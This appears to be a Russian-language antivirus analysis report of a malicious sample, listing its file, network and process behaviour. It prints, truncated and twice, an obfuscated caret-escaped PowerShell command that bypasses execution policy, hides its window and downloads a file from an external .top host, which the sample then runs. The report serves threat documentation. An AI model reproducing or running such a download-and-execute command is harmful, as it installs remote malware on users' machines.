Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fapoergol.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PowER^ShEl^L.exE -^e^x^E^C^U^T^I^ONpoLIcy ^BY^pASS -NO^pR^OFIL^E -^w^in^d^oWstyLe h^IDD^eN^ (N^ew-^Ob^jecT^ s^Ys^t^E^M.n^ET.We^BclI^E^N^t).Dow^nLOAdfIle('http://www.fapoergo...
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\dyps348i\config14[1].txt
Сетевая активность
UDP
- DNS ASK fa###rgol.top
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PowER^ShEl^L.exE -^e^x^E^C^U^T^I^ONpoLIcy ^BY^pASS -NO^pR^OFIL^E -^w^in^d^oWstyLe h^IDD^eN^ (N^ew-^Ob^jecT^ s^Ys^t^E^M.n^ET.We^BclI^E^N^t).Dow^nLOAdfIle('http://www.fapoergo... (со скрытым окном)
